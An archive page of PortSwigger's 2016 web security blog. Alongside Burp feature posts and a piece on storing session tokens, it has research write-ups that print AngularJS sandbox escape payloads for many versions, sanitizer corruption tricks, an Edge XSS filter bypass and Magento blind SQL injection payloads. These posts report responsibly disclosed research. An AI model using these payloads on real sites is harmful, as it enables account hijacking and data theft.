Burp Suite, the leading toolkit for web application security testing

PortSwigger Web Security Blog

Tuesday, May 31, 2016

Web Storage: the lesser evil for session tokens

I was recently asked whether it was safe to store session tokens using Web Storage (sessionStorage/localStorage) instead of cookies. Upon googling this I found the top results nearly all assert that web storage is highly insecure relative to cookies, and therefore not suitable for session tokens. For the sake of transparency, I've decided to publicly document the rationale that lead me to the opposite conclusion.

The core argument used against Web Storage says because Web Storage doesn't support cookie-specific features like the Secure flag and the HttpOnly flag, it's easier for attackers to steal it. The path attribute is also cited. I'll take a look at each of these features and try to examine the history of why they were implemented, what purpose they serve and whether they really make cookies the best choice for session tokens.

The Secure Flag

The secure flag is quite important for cookies, and outright irrelevant for web storage. Web Storage adheres to the Same Origin Policy, which isolates data based on an origin consisting of a protocol and a domain name. Cookies need the secure flag because they don't properly adhere to the Same Origin Policy - cookies set on https://example.com will be transmitted to and accessible via http://example.com by default. Conversely, a value stored in localStorage on https://example.com will be completely inaccessible to http://example.com because the protocols are different.

In other words, cookies are insecure by default, and the secure flag is simply a bodge to make them as resilient to MITM attacks as Web Storage. Web Storage used over HTTPS effectively has the secure flag by default. Further information on related nuances in the Same Origin Policy can be found in The Tangled Web by Michal Zalewski.

The Path Attribute

The path attribute is widely known to be pretty much useless for security. It's another example of where cookies are out of sync with the Same Origin Policy - paths are not considered part of an origin so there's no security boundary between them. The only way to isolate two applications from each other at the application layer is to place them on separate origins.

The HttpOnly Flag

The HttpOnly flag is an almost useless XSS mitigation. It was invented back in 2002 to prevent XSS being used to steal session tokens. At the time, stealing cookies may have been the most popular attack vector - it was four years later that CSRF was described as the sleeping giant.

Today, I think any competent attacker will exploit XSS using a custom CSRF payload or drop a BeEF hook. Session token stealing attacks introduce a time-delay and environment shift that makes them impractical and error prone in comparison - see Why HttpOnly Won't Protect You for more background on why. This means that if an attacker is proficient, HttpOnly won't even slow them down. It's like a WAF that's so ineffective attackers don't even notice it exists.

The only instance I've seen where HttpOnly was a significant security boundary is on bugzilla.mozilla.org. Untrusted HTML attachments are served from a subdomain which has access to the parent domain's session cookies thanks to cookies' not-quite-same-origin-policy. Ultimately as with the secure flag, the HttpOnly flag is only really required to make cookies as secure as web storage.

Differences that Matter

One major difference between the two options is that unlike cookies, web browsers don't automatically attach the contents of web storage to HTTP requests - you need to write JavaScript to attach the session token to a HTTP header. This actually conveys a huge security benefit, because it means the session tokens don't act as an ambient authority. This makes entire classes of exploits irrelevant. Browsers' behaviour of automatically attaching cookies to cross-domain requests is what enables attacks like CSRF and cross-origin timing attacks. There's a specification for yet another another cookie attribute to fix this very problem in development at the moment but for now to get this property, your best bet is Web Storage.

Meanwhile, the unhealthy state of the cookie protocol leads to crazy situations where the cookie header can contain a blend of trusted and untrusted data. This is something the ill-conceived double-submit CSRF defence fell foul of. The solution for this is yet another cookie attribute: Origin.

Unlike cookies, web storage doesn't support automatic expiry. The security impact of this is minimal as expiry of session tokens should be done server-side, but it is something to watch out for. Another distinction is that sessionStorage will expire when you close the tab rather than when you close the browser, which may be awesome or inconvenient depending on your use case. Also, Safari disables Web Storage in private browsing mode, which isn't very helpful.

This post is intended to argue that Web Storage is often a viable and secure alternative to cookies. Web Storage isn't ideal for session token storage in every situation - retrofitting it to a non single-page application may add a significant request overhead, Safari disables Web Storage in private browsing mode, and it's insecure in Internet Explorer 8. Likewise, if you do use cookies please use both Secure and HttpOnly.


At first glance it looks like cookies have more security features, but they're ultimately patches over a poor core design. For an in depth assessment of cookies, check out HTTP cookies, or how not to design protocols. Web Storage offers an alternative that, if not secure by default, is less insecure by default.

 - @albinowax

Friday, May 20, 2016

Using disk-based projects with OpenJDK

Since the introduction of Burp projects in Burp Suite 1.7 we've had some reports of native crashes in the OpenJDK JVM when using disk-based projects.

Disk-based projects use memory-mapped files, which have been a core part of the Java API spec for a very long time. Because memory-mapped files need to be implemented in native code, there is inherently more potential for compatibility issues, both with the core OS and with disk drivers.

It appears that a bug in OpenJDK may cause the JVM process to crash when using memory-mapped files. This appears to affect only certain platforms, notably Kali Linux.

The easiest way to resolve this issue is to use Oracle Java, which does not contain the bug.

We appreciate that in some instances using Oracle Java may not be practical. We have received reports that this bug has been patched in JDK 9, and it may be possible to backport this patch to Java 7 or 8.

Monday, April 25, 2016

Adapting AngularJS Payloads to Exploit Real World Applications

Every experienced pentester knows there is a lot more to XSS than <script>alert(1)</script> - filtering, encoding, browser-quirks and WAFs all team up to keep things interesting. AngularJS Template Injection is no different. In this post, we will examine how we adapted template injection payloads to bypass filtering and encoding and exploit Piwik and Uber.

Lower case conversion

Piwik, an open-source analytics platform with a healthy 2.7 million downloads, uses AngularJS 1.2.26, and displays search queries from visitors.

By spoofing a referral from Google, we can inject a keyword containing an Angular expression in here. However, injecting the appropriate sandbox escape for Angular 1.2.26 doesn't work:


Piwik converts this input to lower case, preventing the charAt function from being overwritten and valueOf from being called. We easily got round those restrictions by using unicode escapes to overwrite the charAt function:


and used ''.concat instead of valueOf:


Here is the final payload (Broken slightly to discourage exploits):



This vulnerability is really quite serious - an unauthenticated attacker can inject a payload which will hijack the account of anyone who views it. If an admin account is hijacked, we may be able to install a malicious module and take complete control of the webserver. Update to Piwik 2.16.1 to get the fix.

No quotes allowed

The ride-sharing company Uber lets developers submit and manage apps via developer.uber.com. They use a third party (readme.io) to display associated documentation at https://developer.uber.com/docs/.

This site uses AngularJS and reflects the current URL using server-side templating, but crucially doesn't URL decode it first. Firefox and Chrome both URL-encode quotes and apostrophes, meaning that if we want a cross-browser payload (and a decent vulnerability bounty), we need an alternative way of getting the string object. Also, we can't use any spaces, regardless of the browser.

Using the toString method of an object, we can create a string without the need for single or double quotes. ({}.toString) creates the string, then we can use its constructor to access the String object and call fromCharCode.


Mario Heiderich came up with a shorter version that removes the object literal reference. This can also be reduced (for those of you who like code "golfing") to:-


No quotes or constructor

However, there was one more catch. Uber was using Angular 1.2.0 which bans accessing constructor via a regular javascript property like obj.constructor, although an object accessor like obj['constructor'] was allowed. So I needed to generate the string "constructor" but I couldn't access the String constructor to call fromCharCode because I need to pass the string "constructor". A chicken and egg situation.

I thought how I could generate a string and concatenate them together without using +. I decided to use arrays. First off I create a blank array.
The next problem was how to generate the required characters for constructor without the ability to call fromCharCode (because we can't use constructor yet) and no quotes! The trick here is to use existing objects to generate the required characters. You could almost think of this as a twisted kind of ROP. Using the toString method of the currently scoped object will generate the string [object Object] giving us some of the characters required for constructor.

o=toString();//[object Object]

The observant among you might be wondering how we could get a "n" since Angular tolerates undefined objects so we can't convert an undefined object into a string. The solution is to use the anchor "function" on the string as the generated output contains an "n".

t=o.anchor(true);//<a name="true">[object Undefined]</a>

Next I need to generate false too using the same method. You could use false.toString() instead of course. And now add all the strings into the array.

I then need to join these characters together but I can't generate a blank string using quotes. The solution is to use an array literal which does the same thing.


So we have our string "constructor" the next stage is to use the required exploit for 1.2.0 by Jan Horn and pass our string to it. We can now generate characters using fromCharCode now that we can use "constructor". Here is the final exploit in all its glory.


Uber/readme.io somewhat impressively patched this issue within 24 hours of it being reported.

Even when you're inside a JavaScript sandbox, there is still plenty of room for adapting exploits to bypass environmental constraints. These techniques should serve as a foundation for tackling whatever you encounter.

Happy sandbox hacking - @garethheyes & @albinowax

Friday, April 15, 2016

Edge XSS filter bypass

I originally reported this issue to Microsoft on 4th September 2015 but it remains unfixed. As it has been so long since my original report I have decided to blog about the details now.

IE had a flaw in the past where you could use the location object as a function and combine toString/valueOf in a object literal to execute code. I think it was first discovered by Sirdarckcat but I may be wrong. Basically you use the object literal as a fake array which calls the join function that constructs a string from the object literal and passes it to valueOf which in turn passes it to the location object. Here is the code:


This also works on the latest version of Edge too however both browsers will detect it as a XSS attack. The XSS filter regexes detect a string followed by any number of characters, followed by either a "{" or "," then toString/valueOf and colon character. The "a" from valueOf and the "o" from toString are replaced by the "#" character. Here is a simplified version of the regex:


Here are the Regexes as of October 2015.

Edge though supports ES6 and there are some useful new features. Computed properties in ES6 allow you to pass an expression to calculate the property name. For example:


I think you can see where this is going. By combining the two techniques we can bypass the Edge XSS filter. As shown earlier the regexes look for toString/valueOf unfortunately we can obfuscate them using computed properties.



Happy filter hacking - @garethheyes

Friday, April 8, 2016

Introducing Burp projects

The latest major release of Burp introduces some great new capabilities for handling Burp's data and configuration. This blog post covers the following areas:
  • Burp project files
  • Changes to Burp's configuration options
  • Configuration files
  • The new startup wizard
  • New APIs
  • New command line arguments
  • Transitioning existing data and configuration
  • Feature roadmap

Burp project files

Burp's new project files are used to hold all of the data and configuration for a particular piece of work. Data is saved incrementally into the file as you work. When you reopen an existing project, Burp reloads the project's data and configuration, and you can resume working where you left off.

Burp project files are a replacement for the existing state file functionality, and are significantly superior in various ways:
  • Data is saved automatically in real time. There is no need to specifically save your work when you are finished. If Burp exits abnormally, all its data is preserved.
  • Burp reopens project files considerably faster than state files. In our testing, project files that are several gigabytes in size can be reopened in a few seconds.
  • A problem with Burp's non-incremental automatic backup feature, where each periodic backup consumed more and more disk space, has gone away.
  • All data is held in the project file, including some items that were not previously included in state files, such as the Scanner's issue activity log.
Note: The new project files feature is not available on 32-bit platforms or in the free edition of Burp.

Changes to Burp's configuration options

Burp's configuration options have been split into two groups: user options and project options. This has been done to make it easier to work with Burp's configuration when dealing with multiple separate projects.

User-level options are those relating to the individual user's environment and UI, including:
  • Everything in the new "User options" tab, such as font settings.
  • Options in the Extender tool, including the list of configured extensions.
  • UI-related options in other tools, such as the selected view of the Target site map.
Project-level options are those relating to the work that is being performed on a particular target application, including:
  • Everything in the new "Project options" tab, such as session handling rules.
  • Non-UI-related options in individual Burp tools, such as Proxy and Scanner.
User-level options will typically be long-lived and are automatically preserved across different Burp sessions. Project-level options are not automatically preserved in the same way. Rather, they are stored within project files and configuration files.

Some options, such as upstream proxy settings, can be defined at both the project and user level. For these options, you can configure your normal options at the user level, and then override these if required on a per-project basis. For example, you might normally use a corporate LAN proxy to connect to the Internet, and you can configure this in your user-level settings. For particular projects, when testing an internal application or on site at a particular client, you might need to use a different upstream proxy or none at all. You can configure this in your project-level settings for the relevant projects.

Configuration files

You can use Burp's new configuration files to manage different configurations for particular tasks. For example, you might need to load a particular configuration when working on a particular client. Or you might create different configurations for different types of scans.

Separate configuration files can be used to manage user-level and project-level options.

You can load and save configuration files in various ways:
  • From the Burp menu, you can load or save configuration files for all user-level or project-level options:

  • From individual configuration panels throughout Burp, you can use the new "Options" button to load or save the configuration for just that panel:

  • In the new startup wizard, when creating or reopening a project, you can specify a configuration file from which to load project-level options:
  • When starting Burp from the command line, you can use the new command line arguments to specify one or more configuration files from which to load project-level options.
  • Burp extensions can load or save project-level configuration file contents via the new APIs.
Configuration files use the JSON format. The structure and naming scheme used within the JSON correspond to the way that options are presented within the Burp UI. The easiest way to generate a configuration file for a particular purpose is to create the desired configuration within the Burp UI and save a configuration file from it. If preferred, you can also hand-edit an existing configuration file, since the contents are human-readable and self-documenting:

Partial configuration files can be used when needed. You can create a partial configuration file by saving the configuration of just one area of Burp, via the new "Options" button on each configuration panel, or by removing the unneeded sections from a full configuration file. When a partial configuration file is loaded, any options that are not defined within that file are left unchanged. This allows you to create small focused partial configuration files for common purposes, and load them when required to create a desired overall configuration.

New APIs

There are two new APIs that extensions can use to manage project-level options:

void loadConfigFromJson(String config);
String saveConfigAsJson(String... configPaths);

Both methods handle settings using the new JSON format that is used in configuration files.

The load method takes a String containing some configuration options, and updates Burp with the specified options. Partial configurations are acceptable, and any settings not specified will be left unmodified.

The save method by default saves the entire project-level configuration. To include only certain sections of the configuration, you can optionally supply the path to each section that should be included, for example: "project_options.connections".

The APIs only operate on project-level options, and user-level options cannot be loaded or saved via the API.

The old API methods for processing options via maps of name/value pairs, and for saving and loading state files, are now deprecated and will be removed at some future point.

The new startup wizard

When Burp launches, a new startup wizard is displayed.

The first screen lets you choose what Burp project to open:

You can choose from the following options to create or open a project:
  • Temporary project - This option is useful for quick tasks where your work doesn't need to be saved. All data is held in memory, and is lost when Burp exits.
  • New project on disk - This creates a new project that will store its data in a Burp project file. This file will hold all of the data and configuration for the project, and data is saved incrementally as you work. You can also specify a name for the project.
  • Open existing project - This reopens an existing project from a Burp project file. A list of recently opened projects is shown for quick selection. When this option is selected, the Spider and Scanner tools will be automatically paused when the project reopens, to avoid sending any unintentional requests to existing configured targets. You can deselect this option if preferred.
Note: You can rename a project later via the Burp menu.

The next screen lets you choose what project configuration to use:

You can choose from the following options for the project configuration:
  • Use Burp defaults - This will open the project using Burp's default options.
  • Use options saved with project - This is only available when reopening an existing project, and will open the project using the options that were saved in the project file.
  • Load from configuration file - This will open the project using the options contained in the selected Burp configuration file. Note that only project-level options in the configuration file will be reloaded, and any user-level options will be ignored. A list of recently used configuration files is shown for quick selection.

New command line arguments

There are two new command line arguments to facilitate working with Burp projects and configuration files:

--project-file=filename  Opens the specified project file. The file will be created as a new project if it does not already exist.
--config-file=filename  Loads the specified project configuration file(s). This option may be repeated to load multiple files.

The new command line arguments are particularly useful for the following purposes:
  • When automating Burp from scripts or other processes, you can launch Burp with a specified project file and configuration file. For example, your CI pipeline could launch Burp specifying the filename into which the project will be saved as an artifact, and a configuration file containing details of target scope or scanning options.
  • If you create different configuration files for common purposes, you can create desktop shortcuts to launch Burp with different configurations. When Burp is launched with the config-file option, the startup wizard will skip the step to select a configuration file, thereby speeding up the startup process.

Transitioning existing data and configuration

The changes to Burp may require some action by users who want to continue working with existing data and configuration:
  • To transition data and configuration in an existing Burp state file, simply create a new Burp project, and then restore the state file in the normal way. All of the data and configuration from the state file will be stored in the project file, and this can then be reopened directly without need for the original state file.
  • Settings that are now part of user-level options (such as font settings) will automatically carry over from earlier versions of Burp.
  • Settings that are now part of project-level options (such as session handling rules) will not automatically carry over from earlier versions of Burp. If you have customized these in your locally saved settings, and want to use them in the new version, you'll need to use an old version of Burp to save a config-only state file, use the new version of Burp to restore that state file, and then save a configuration file containing the project-level options. When creating new Burp projects, you can select that configuration file in the startup wizard.

Feature roadmap

Burp's new capabilities surrounding projects and configuration are fully functional in their own terms, but give rise to a number of desirable features that will be added to Burp over the coming months:
  • If you launch Burp and choose to create a temporary project, it is not currently possible to change your mind and save your work into a disk-based project at a later time. We plan to provide a means of doing this.
  • Data is incrementally appended onto project files as it is generated. If you accumulate a large amount of data and then delete some of this within Burp (for example, by clearing a large Proxy history), the data is not actually removed from the project file, and the project file will not reduce in size. We plan to provide a means of compressing a project file to remove redundant data and reduce its size.
  • With the existing state file functionality, it is possible when saving a state file to select which tools' data to include, and whether to include only in-scope items. With the new project file feature, all of Burp's data is saved into the project file. We plan to provide a means of saving a project file that contains only selected items.
  • With the existing state file functionality, it is possible to restore multiple state files into the same instance of Burp, to merge the results of earlier work. With the new project file feature, only a single project file can be opened into each instance of Burp. We plan to provide a means of importing multiple project files to create a single combined project.
  • Intruder options are not currently handled by the new configuration file feature. We plan to provide a new way of handling Intruder configuration and attack data, based closely on the new Burp configuration and project files.
In parallel with the addition of the above features, some existing Burp features will be removed:
  • The automatic backup feature, which saves Burp's state periodically into state files, has been removed in the new release.
  • Existing APIs relating to configuration options and state files have been deprecated.
  • The ability to save new state files will be removed in the near term.
  • The ability to restore old state files will be removed in the longer term.

Tuesday, March 22, 2016

Using Burp Suite to Audit and Exploit an eCommerce Application

At PortSwigger, we regularly run pre-release builds of Burp Suite against an internal test-bed of popular web applications to ensure it remains extremely effective against real-world websites. Most recently we have been testing Burp Suite on Magento, a popular open source eCommerce solution. Using purely automated functionality, we quickly found a number of SQLi (SQL Injection) vulnerabilities in the Magento sample site, ‘LUMA’. This post will provide a step by step walk-through showing how we found the vulnerabilities using Burp's automated crawl and scan, verified it using the Repeater, and finally exploited it by using the Intruder to launch a boolean based blind injection attack to dump out the contents of the backend database.

As part of testing Burp’s functionality, we first map out the application. In this test we used Burp Spider in conjunction with Burp’s session handling rules to spider “LUMA”.

Having spidered the application we were able to move to the testing phase. We actively scanned the whole application from the Target “Site map” tab.

Burp Scanner produced a number of issues, most notably a number of SQLi issues. After examining the Issue “Advisory” and “Request” and “Response” tabs, the next step was to manually verify the issues to ensure that the Scanner is correctly reporting vulnerabilities.

We used Burp Repeater to verify the SQL injection issues. The Repeater tool allows you to repeatedly change and resubmit the same request, and review the response. We used a similar methodology to one used in our tutorial page “Using Burp to Detect SQL Injection Via SQL-Specific Parameter Manipulation” to validate the Scanner’s findings. We used a calculation containing an ASCII command to show that the application is evaluating input as an SQL query.
We were able to dump the database using boolean based blind injection. For example, the following payload will tell you whether the username starts with 'm':
climate=202 and (SELECT user() LIKE 'm%')
It is possible to automate this process using Burp Intruder. The following screenshots show how this payload has been used to enumerate the username for the database.

In the Intruder "Positions" tab we added two insertion points in to the payload. We also set the attack type to "Cluster bomb". This attack type uses multiple payload sets, iterating through each payload set in turn, so that all permutations of payload combinations are tested.

We configured the first payload to use the underscore character from 0-20 in length. This allowed us to test each character in the second payload in intervals of one bit.  For example:
climate=202 and (SELECT user() LIKE '____n%')

In the second payload we used characters that one might expect to find in a typical username.

We sorted the results by length and by grep matching a word found only in positive responses from the application. The results table shows a username we were able to extract from the database and how the underscores allowed us to alter the position of the second payload set;
climate=202 and (SELECT user() LIKE 'm%')
climate=202 and (SELECT user() LIKE '_a%')
climate=202 and (SELECT user() LIKE '__g%')
climate=202 and (SELECT user() LIKE '___e%')
climate=202 and (SELECT user() LIKE '____n%')
climate=202 and (SELECT user() LIKE '_____t%')
climate=202 and (SELECT user() LIKE '______o%')    
Vulnerabilities in sample sites pose two key threats - developers may fail to fully remove the sample content, or even worse they may mimic its insecure coding practices and create highly exploitable stores.

We reported this vulnerability to the Magento Security Team on 15th December 2015, providing the ASCII payload and the database dump as proof-of-concept. The Magento Security Team responded quickly to our report, patched the vulnerability on January 20th 2016 and offered a generous bug bounty.

This once again shows that with a series of simple steps, Burp's scanner to be used to unearth vulnerabilities in even extremely popular web applications.

Wednesday, January 27, 2016

XSS without HTML: Client-Side Template Injection with AngularJS


Naive use of the extremely popular JavaScript framework AngularJS is exposing numerous websites to Angular Template Injection. This relatively low profile sibling of server-side template injection can be combined with an Angular sandbox escape to launch cross-site scripting (XSS) attacks on otherwise secure sites. Until now, there has been no publicly known sandbox escape affecting Angular 1.3.1+ and 1.4.0+. This post will summarize the core concepts of Angular Template Injection, then show the development of a fresh sandbox escape affecting all modern Angular versions.


AngularJS is an MVC client side framework written by Google. With Angular, the HTML pages you see via view-source or Burp containing 'ng-app' are actually templates, and will be rendered by Angular. This means that if user input is directly embedded into a page, the application may be vulnerable to client-side template injection. This is true even if the user input is HTML-encoded and inside an attribute.

Angular templates can contain expressions - JavaScript-like code snippets inside double curly braces. To see how they work have a look at the following jsfiddle:

The text input {{1+1}} is evaluated by Angular, which then displays the output: 2.

This means anyone able to inject double curly braces can execute Angular expressions. Angular expressions can't do much harm on their own, but when combined with a sandbox escape we can execute arbitrary JavaScript and do some serious damage.

The following two snippets show the essence of the vulnerability. The first page dynamically embeds user input, but is not vulnerable to XSS because it uses htmlspecialchars to HTML encode the input:
$q = $_GET['q'];
echo htmlspecialchars($q,ENT_QUOTES);
The second page is almost identical, but the Angular import means it can be exploited by injecting an Angular expression, and with a sandbox escape we can get XSS.
<html ng-app>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.7/angular.js"></script>
$q = $_GET['q'];
echo htmlspecialchars($q,ENT_QUOTES);?>
Note that you need to have "ng-app" above the expression in the DOM tree. Usually an Angular site will use it in the root HTML or body tag.

In other words, if a page is an Angular template, we're going to have a much easier time XSSing it. There's only one catch - the sandbox. Fortunately, there is a solution.

The Sandbox

Angular expressions are sandboxed 'to maintain a proper separation of application responsibilities'. In order to exploit users, we need to break out of the sandbox and execute arbitrary JavaScript.

Let's reuse the fiddle from earlier and place a breakpoint at line 13275 inside angular.js in the sources tab in Chrome. In the watches window, add a new watch expression of "fnString". This will display our transformed output. 1+1 gets transformed to:
"use strict";
var fn = function(s, l, a, i) {
    return plus(1, 1);
return fn;
So the expression is getting parsed and rewritten then executed by Angular. Let's try to get the Function constructor:


This is where things get a little more interesting, here is the rewritten output:
"use strict";
var fn = function(s, l, a, i) {
    var v0, v1, v2, v3, v4 = l && ('constructor' in l),
    if (!(v4)) {
        if (s) {
            v3 = s.constructor;
    } else {
        v3 = l.constructor;
    ensureSafeObject(v3, text);
    if (v3 != null) {
        v2 = ensureSafeObject(v3.constructor, text);
    } else {
        v2 = undefined;
    if (v2 != null) {
        ensureSafeFunction(v2, text);
        v5 = 'alert\u00281\u0029';
        ensureSafeObject(v3, text);
        v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alert\u00281\u0029', text)), text);
    } else {
        v1 = undefined;
    if (v1 != null) {
        ensureSafeFunction(v1, text);
        v0 = ensureSafeObject(v1(), text);
    } else {
        v0 = undefined;
    return v0;
return fn;
As you can see, Angular goes through each object in turn and checks it using the ensureSafeObject function. The ensureSafeObject function checks if the object is the Function constructor, the window object, a DOM element or the Object constructor. If any of the checks are true it will raise an exception and stop executing the expression. It also prevents access to global variables by making all references for globals look at a object property instead.

Angular also has a couple of other functions that do security checks such as ensureSafeMemberName and ensureSafeFunction. ensureSafeMemberName checks a JavaScript property and makes sure it doesn't match __proto__ etc and ensureSafeFunction checks function calls do not call the Function constructor or call, apply and bind.

Corrupting the sanitizer

The Angular sanitizer is a client side filter written in JavaScript that extends Angular to safely allow HTML bindings using attributes called ng-bind-html that contain a reference you want to filter. It then takes the input and renders it in an invisible DOM tree and applies white list filtering to the elements and attributes.

While I was testing the Angular sanitizer I thought about overwriting native JavaScript functions using Angular expressions. The trouble is Angular expressions do not support function statements or function expressions so you would be unable to overwrite the function with any value. Pondering this for a while I thought about String.fromCharCode. Because the function is called from the String constructor and not via a string literal, the "this" value will be the String constructor. Maybe I could backdoor the fromCharCode function!

How can you backdoor the fromCharCode function without being able to create a function? Easy: re-use an existing function! The problem is how to control the value every time fromCharCode is called. If we use the Array join function we can make the String constructor a fake array. All we need is a length property and a property of 0 for the first index of our fake array, fortunately it already has a length property because its argument length is 1. We just need to give it a 0 property. Here's how to do it:
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';
When String.fromCharCode is called you will get the string <iframe onload=alert(/Backdoored/)> every time instead of the desired value. This works perfectly inside the Angular sandbox. Here is a fiddle:


I continued reviewing the code for the Angular sanitizer but I could not find any calls to String.fromCharcode that would result in a bypass. I had a look for other native functions and found an interesting one: charCodeAt. If I could overwrite this value then it would get injected into an attribute without any filtering. However there is a problem: this time the "this" value will be the string literal and not the string constructor. This means I could not use the same technique to overwrite the function because I would be unable to manipulate the index or the length as this isn't writable for a string literal.

Then I thought about using [].concat; using this function would return the string as is and the argument, concatenated together. The following fiddle calls 'abc'.charCodeAt(0) so you would expect the output to be '97' (ascii a), but due to the backdoor it instead returns the base string plus the argument.


This then broke the sanitizer because I could inject evil attributes. The sanitizer code looked like this:
if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
  out(' ');
Out would return the filtered output; key refers to the attribute name; and value is the attribute value. Here is the encodeEntities function:
function encodeEntities(value) {
  return value.
    replace(/&/g, '&').
    replace(SURROGATE_PAIR_REGEXP, function(value) {
      var hi = value.charCodeAt(0);
      var low = value.charCodeAt(1);
      return '&#' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';';
    replace(NON_ALPHANUMERIC_REGEXP, function(value) {
      return '&#' + value.charCodeAt(0) + ';';
  replace(/&lt;/g, '&lt;').
  replace(/&gt;/g, '&gt;');
The code in bold is where the injection would happen, so the developer was clearly expecting the charCodeAt function to return an int. You could defensively code and force the value to an int but if an attacker can overwrite native functions, you are probably already owned. That bypassed the sanitizer, and using a similar technique we can break out of the sandbox.

Escaping the sandbox

I looked at the Angular source code looking for String.fromCharCode calls, and found one instance that was pretty interesting. When parsing string literals they use it to output the value. I figured I could backdoor fromCharCode and break out of the parsed string. Here is a fiddle:


Turns out I could backdoor unicode escapes but not break out of the rewritten code.

I then wondered if the same technique I used previously on the sanitizer would work here with a different native function. I thought that using charAt would successfully parse the code but return completely different output and bypass the sandbox. I tried injecting it and inspecting the rewritten output.

The console had some interesting results, I was getting a JavaScript parse error from the browser and not from Angular. I looked at the rewritten code see below:
"use strict";
var fn = function(s, l, a, i) {
    var v5, v6 = l && ('x\u003d\u0022\u0022' in l);
    if (!(v6)) {
        if (s) {
            v5 = s.x = "";
    } else {
        v5 = l.x = "";
    return v5;
fn.assign = function(s, v, l) {
    var v0, v1, v2, v3, v4 = l && ('x\u003d\u0022\u0022' in l);
    v3 = v4 ? l : s;
    if (!(v4)) {
        if (s) {
            v2 = s.x = "";
    } else {
        v2 = l.x = "";
    if (v3 != null) {
        v1 = v;
        ensureSafeObject(v3.x = "", text);
        v0 = v3.x = "" = v1;
    return v0;
return fn;
The syntax error is in bold above, if the rewritten code was generating a JavaScript syntax error that would mean I can inject my own code in the rewritten output! Next I injected the following code:
The debugger stopped at the first call, I hit resume and then I went to lunch with a big smile on my face because without even checking I knew I'd owned the sandbox and probably pretty much every version. I got back from lunch and hit resume and sure enough I got an alert and broke the sandbox. Here's the fiddle:


Here is the rewritten code:
"use strict";
var fn = function(s, l, a, i) {
    var v5, v6 = l && ('x\u003dalert\u00281\u0029' in l);
    if (!(v6)) {
        if (s) {
            v5 = s.x = alert(1);
    } else {
        v5 = l.x = alert(1);
    return v5;
fn.assign = function(s, v, l) {
    var v0, v1, v2, v3, v4 = l && ('x\u003dalert\u00281\u0029' in l);
    v3 = v4 ? l : s;
    if (!(v4)) {
        if (s) {
            v2 = s.x = alert(1);
    } else {
        v2 = l.x = alert(1);
    if (v3 != null) {
        v1 = v;
        ensureSafeObject(v3.x = alert(1), text);
        v0 = v3.x = alert(1) = v1;
    return v0;
return fn;
So as you can see the rewritten code contains the alerts. You might notice that this doesn't work on Firefox. Here's a little challenge for you, try and get it to work on both Firefox and Chrome. Select the hidden text below for the solution to the challenge:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

To view in depth what goes on when Angular parses the code place a break point on line 14079 of angular.js, press resume once to skip the initial parse and step through the code by constantly clicking step into function in the debugger. Here you will be able to see Angular parse the code incorrectly. It will think x=alert(1) is an identifier on line 12699. The code assumes it's checking a character but in actual fact it's checking a longer string so it passes the test. See below:
isIdent= function(ch) {
    return ('a' <= ch && ch <= 'z' ||
            'A' <= ch && ch <= 'Z' ||
            '_' === ch || ch === '$');
The string has been generated with our overwritten charAt function and the 9 is the argument passed. Because of the way the code is written it will always pass the test because 'a', 'z' etc is always going to be less than the longer string. Luckily for me on line 12701 the original string is used to make the identifier. Then on line 13247 when the assignment function is created the identifier will be injected into the function string multiple times which injects our alert when called with the Function constructor.

Here's the final payload, tailored to Angular 1.4:
eval('x=1} } };alert(1)//');


If you're using Angular, you need to either treat curly braces in user input as highly dangerous or avoid server-side reflection of user input entirely. Most other JavaScript frameworks have sidestepped this danger by not supporting expressions in arbitrary locations within HTML documents.

Google are definitely aware of this issue, but we're not sure how well known it is in the wider community, in spite of existing research on the topic. Angular's documentation does advise against dynamically embedding user input in templates, but also misleadingly implies that Angular won't introduce any XSS vulnerabilities into otherwise secure code. This issue isn't even limited to client-side template injection; Angular template injection can (and has) manifest server-side and result in RCE.

I think this issue has only escaped wider attention so far due to the lack of known sandbox escapes for the latest Angular branches. So right now may be a good time to consider a patch management strategy for your JavaScript imports.

This sandbox escape was privately reported to Google on the 25th of September 2015, and patched in version 1.5.0 on January 15th 2016. Given the extended history of AngularJS sandbox bypasses, and Angular's insistence that the sandbox "is not intended to stop attackers", we do not regard updating Angular as a robust solution to expression injection. As such, we've released new Burp Scanner check to detect client-side template injection, and have included below an up to date list of Angular sandbox escapes.


We've followed up this blog post with examples of sandbox escapes in real world applications.

Enjoy - @garethheyes & @albinowax

List of Sandbox bypasses

1.0.1 - 1.1.5
Mario Heiderich (Cure53)

1.2.0 - 1.2.1
Jan Horn (Cure53)

1.2.2 - 1.2.5
Gareth Heyes (PortSwigger)

1.2.6 - 1.2.18
Jan Horn (Cure53)

1.2.19 - 1.2.23
Mathias Karlsson

1.2.24 - 1.2.29
Gareth Heyes (PortSwigger)

Gábor Molnár (Google)
{{!ready && (ready = true) && (
      ? $$watchers[0].get(toString.constructor.prototype)
      : (a = apply) &&
        (apply = constructor) &&
        (valueOf = call) &&
          'F = Function.prototype;' +
          'F.apply = F.a;' +
          'delete F.a;' +
          'delete F.valueOf;' +

1.3.1 - 1.3.2
Gareth Heyes (PortSwigger)

1.3.3 - 1.3.18
Gareth Heyes (PortSwigger)
  $eval('x=alert(1)//');  }}

Gareth Heyes (PortSwigger)

Gareth Heyes (PortSwigger)

1.4.0 - 1.4.9
Gareth Heyes (PortSwigger)
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

Support Center

Get help and join the community discussions at the Burp Suite Support Center.

Visit the Support Center ›

Copyright 2016 PortSwigger Ltd. All rights reserved.